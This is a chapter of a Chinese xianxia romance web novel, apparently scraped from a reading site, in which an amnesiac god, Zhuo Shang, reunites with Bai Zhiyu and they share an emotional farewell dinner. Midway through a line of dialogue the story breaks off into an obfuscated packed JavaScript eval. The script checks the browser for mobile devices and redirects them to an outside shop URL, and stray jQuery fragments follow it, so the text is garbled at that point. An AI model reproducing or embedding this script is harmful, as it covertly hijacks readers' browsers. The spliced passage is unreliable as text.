230. 想见你

作品:《我将全修仙界的怨气都净化了

    白芷庾顿时愣在了原地,怔怔地望着面前之人,“你……怎么会在这里?”


    灼熵一言不发,只是静静地望着白芷庾,眼眶渐渐有些发红。


    白芷庾被他灼热的目光盯得面颊绯红,不禁低下了头,“怎、怎么了嘛!”


    又过了片刻,灼熵终于轻声说了一句,“随我来!”


    然后,他便拉着白芷庾离开了茶馆,转身进了一旁的小巷。


    “发生什么事了?你不是回到天界探查自己失忆的事情了吗?查出什么了吗?”白芷庾感觉他的样子有些奇怪,便小心翼翼地问道。


    灼熵转身背靠着墙,将她拉近身边,又静静地望了她一会儿,忽然一把将她搂住,用力收紧了双臂。


    白芷庾顿时红了脸,急声道:“‘你怎么了?到底发生什么事了?你快说啊!”


    片刻后,灼熵慢慢松开手,自怀中取出了一个小盒子,里面放着一对小面人。


    他将它递到白芷庾面前,看着她道:“我在寝殿里发现了这个,你告诉我,这对面人是不是你我?”


    白芷庾看着那对面人,正是之前灼熵从她卧房拿走的那对小面人,便伸手想要拿回来。


    “还给我!”


    灼熵一直盯着白芷庾的面庞,眼睫轻颤,薄唇微启,却在白芷庾快要抓过来时将手抬起,避开了她的手。


    “你还没回答我,这是不是你我?”


    白芷庾闻言,低头咬紧下唇,轻声道:“这是我的东西,请你还给我。你既然想不起来,留着又有何用?”


    灼熵双目微红,垂眸看她,却并未将面人还给她。


    停顿片刻后,他再次颤声道:“这些日子,我每每回想起在你灵府内看到的那些记忆片段,心里感到既温暖又钻心地痛。除了找到这对面人,我还去趟了仙缘城,在姻缘树上找到了写有你我名字的仙缘结。那确是我的字迹,上面还有我的神力守护。除了你我,无人可以碰触,旁人亦造不得假。”


    “我还在自己的神魂深处看到刻有我们婚约的金色符文……”


    灼熵声音颤抖,双眸泛着水光,“我……只要一想起自己先前对你的伤害就……”


    说着,他再次搂紧白芷庾,身体不停地战栗,泣不成声,“你之前……一定在等我回到你身边吧!好不容易在锁神塔见到我,我却……”


    白芷庾被他紧紧搂住,听着他说的每一句话,心中亦是难过至极,不禁跟着落下泪来,轻轻抬手环住了他。


    灼熵渐渐松手,近距离看着她,感觉到彼此因靠近而扑在脸上的温热气息,缓缓闭上眼,吻住了她。


    他心中满是愧疚,亦满是对面前女子浓烈的爱意。


    从在锁神塔“初见”她时起,他便被深深吸引住,只是在心中反复告诫自己,她是魔,他不能被轻易迷惑。


    可是,感情和身体都在不断违背他的意志,困惑、好奇、吸引、迷恋……渐渐地,他只想与她靠得再近一些。


    甚至在内心祈祷,他们之间真的有缘分,真的有羁绊,真的有情愫……这样,他就有理由来找她,再见她一面。


    “对不起……”


    他边吻边呢喃着,随后便加深了那个吻,与她唇齿纠缠,吻遍她口中所有,才喘息着松开,将脸贴在她耳边辗转缠绵。


    白芷庾忽然被吻住,陷入他漫长温柔的缠绵与思念中,好容易才缓过神,低喘道:“我没怪你……知道你回天界定是凶险,见你平安无事,好好活着就很开心了!你不用自责。只是……”


    “只是什么?”灼熵闻言,抬起头,定定望着她道。


    白芷庾顿了顿,思忖片刻,看着他道:“我现在很担心你……你为了我接受了天罚,失去了记忆。虽然这样勉强保住了你的性命,可若是天君知道你来找我,会不会又要给你加更多的刑罚……灼熵,我不能再害你了……”


    她一时有些说不下去,伏在他肩上哭起来,声音凄楚,无法自已。


    灼熵抬手抚上她的发,在她耳边轻吻,眼角亦落下一滴泪。


    过了一会儿,白芷庾缓了口气,继续道:“我是惘根灵修,双婴中存有毁灭之力,体内沉睡着上古魔神,前不久又得到了孽泓殇的传承……附近的人们都在议论我,我想你也听到了。这样的我,只会牵累你。或许天君是对的,你失忆离开,也许是最好的结果。”


    灼熵闻言,猛然一震,双手握住白芷庾的肩,定定望向她,“你什么意思?你就这样认命了?你要放弃我了吗?”


    白芷庾抬手擦了擦眼泪,道:“我不在乎天道在我身上加注什么样的苦难或是厄运,但我不想你被我牵累。你本是上古神,只要不和我在一起,你就是无敌的……”


    灼熵眼眶发红,静静看了她好一会儿,道:“好,可能我和你的感情并没有我想象中那么深刻,所以你可以很轻易地说出这样的话。我看到那对小面人和仙缘结,还有成婚时的誓言,我以为你一定很爱我,无法舍弃我,才来找你。可是,看来是我错了……”说完,他忽然感到一阵悲凉,竟不由自主地轻笑起来。


    那笑声透着无奈、伤感与心酸,还有不得不放下执念的痛楚。


    白芷庾低着头,不敢看他的眼睛。


    她知道自己伤灼熵伤得很深。


    原本她以为,借着失忆与他分开,或许能减轻痛苦。


    可是看他那样子,似乎已然绝望到极致。


    她没想到,失去记忆的他会露出如此神情,更没想到自己会伤害到他。


    过了许久,灼熵抬起头,手轻轻抚上她的脸,淡声道:“既然你已决定,那可以最后再陪我吃顿饭吗?就当是告别,以后我会如你所愿,不再来见你。”


    白芷庾别过头,忽地落下泪来,最后扁了扁嘴道:“我刚喝多了茶,吃不下。”


    灼熵闻言,轻笑一声,“无妨,我可以等你,明天也可以。”


    白芷庾一听这话,连忙道:“算了,那就今天吧!我知道一家店,以前我们常去……”说着,便很自然地牵起灼熵的手,往月满楼走去。


    两人到了月满楼。


    媚春娘一见是白芷庾和灼熵,立刻两眼放光,迎上来道:“天呐,芷庾,你今天怎么来了?灼熵也来了……真是太好了!”


    白芷庾转头看了灼熵一眼,对媚春娘摇了摇头,道:“春娘姐,还有包间吗?我想和灼熵好好说说话。”


    媚春娘一怔,连忙从震惊中回过神来,一个劲儿点头道:“有、有,必须有!没有就把我的房间让给你们,快进来吧!”


    说着,她连忙转身,亲自带着两人往楼上最好的包间走去。


    白芷庾转身对灼熵道:“你放心,春娘姐是我的老熟人,以前咱俩的婚房都是她给布置的。都是自家人,不必


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186196|179501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    客气。”


    灼熵看了看四周,宾客满堂,生意火爆,美艳的雪狐妖们穿梭其间,为客人倒酒,时不时再撩拨一番。


    他连忙转回目光,重新看向白芷庾,红着脸点了点头。


    白芷庾没多想,牵着灼熵,便跟着媚春娘上了楼,来到月满楼景观视线最好、空间最大、装修最好的雅间。


    媚春娘忙里忙外地招呼小狐妖们上菜,点香,布置软榻,放上香枕……


    一顿收拾之后,她便带着小狐妖们离开,关上房门,只留两人在里面相对无言。


    白芷庾看了看桌上摆放的饭菜,有烧鸡、水煮鱼、夫妻肺片、鸳鸯五珍烩、香辣蟹皇、甜糕、美酒……都是她和灼熵爱吃的,看来春娘姐一直牢记着他们的口味。


    “坐吧。”白芷庾唤灼熵坐下,为他和自己斟满酒,举杯道:“先祝贺你平安归来,希望以后也能顺遂无忧,喜乐常伴!”说完,她便仰头一饮而尽。


    灼熵亦仰头饮下杯中酒,然后望向眼前的饭菜,唇角上扬,“都是你爱吃的吗?看上去不错!这里环境也比外面好,看来老板娘和你很熟,真是有心了!”


    白芷庾弯唇,将烧鸡推到他面前,“吃吧!虽然你失忆了,但口味总不会变吧!”说着,她亦低头伸筷去夹鱼肉。


    灼熵看着她夹起鱼肉,又端起碗去接,不由轻笑一声,道:“还是我来帮你吧!”


    说着,他起身,从对面的位置来到她身边坐下,然后熟练地拨着鱼刺,将鱼肉都放到她的碗里,看了她一眼,弯唇道:“好了,快吃吧!”


    白芷庾看了看碗里的鱼肉,侧头看他,“谢谢,你也吃呀,别光顾着我!你以前很喜欢吃烧鸡,春娘姐都知道。来吃一口!”说着,她从烧鸡上撕下一块鸡肉往他嘴里送。


    灼熵目不转睛地望着她,直到鸡肉送到嘴边,才轻轻张口吃下,嚼了几下,道:“好吃……”


    白芷庾被他看得有些不自然,笑着道:“你怎么一直看着我啊!不是说要和我一起吃最后一顿饭的吗?怎么不吃?”


    灼熵不说话,只是看她,等到咽下嘴里的鸡肉,才开口道:“庾儿,我还要……”


    很久没有听过他唤她“庾儿”,白芷庾不由一愣,呆呆地望向他,“你……”


    你怎么会知道唤我庾儿的……你想起来了吗?还是……


    灼熵咽下嘴里的肉,仰头又喝了一杯酒,随后又给自己和白芷庾斟满,“庾儿,陪我再喝一杯……”


    两人这样喝了好几杯,白芷庾渐渐有些顶不住了。


    她以前很少喝酒,过去灼熵总是不让她多喝。


    可是今日,他一杯接一杯地给她倒酒,看着她吃下他为她剥好的鱼肉,还有夹到碗里的菜,好像舍不得错过她的每一个动作。


    他一直望着她,只是偶尔低头为她倒酒和夹菜,自己却不怎么吃,就那么一瞬不瞬地看着她。除非她喂给他,他才张口缓缓咽下去。


    “你……为何一直在看我。”白芷庾停下来,红着脸道:“现在的我对你来说,不应该是陌生人吗?你又何必……”


    灼熵一言不发,许久似是强忍着咽下口中的菜,“我想多看看你,怕以后再也看不到了……”说完,他闭上双眼,眼角缓缓落下泪来。


    随后,他忽然扔掉了手中的酒杯,一把抱住了她,“庾儿……可不可以不要离开我!”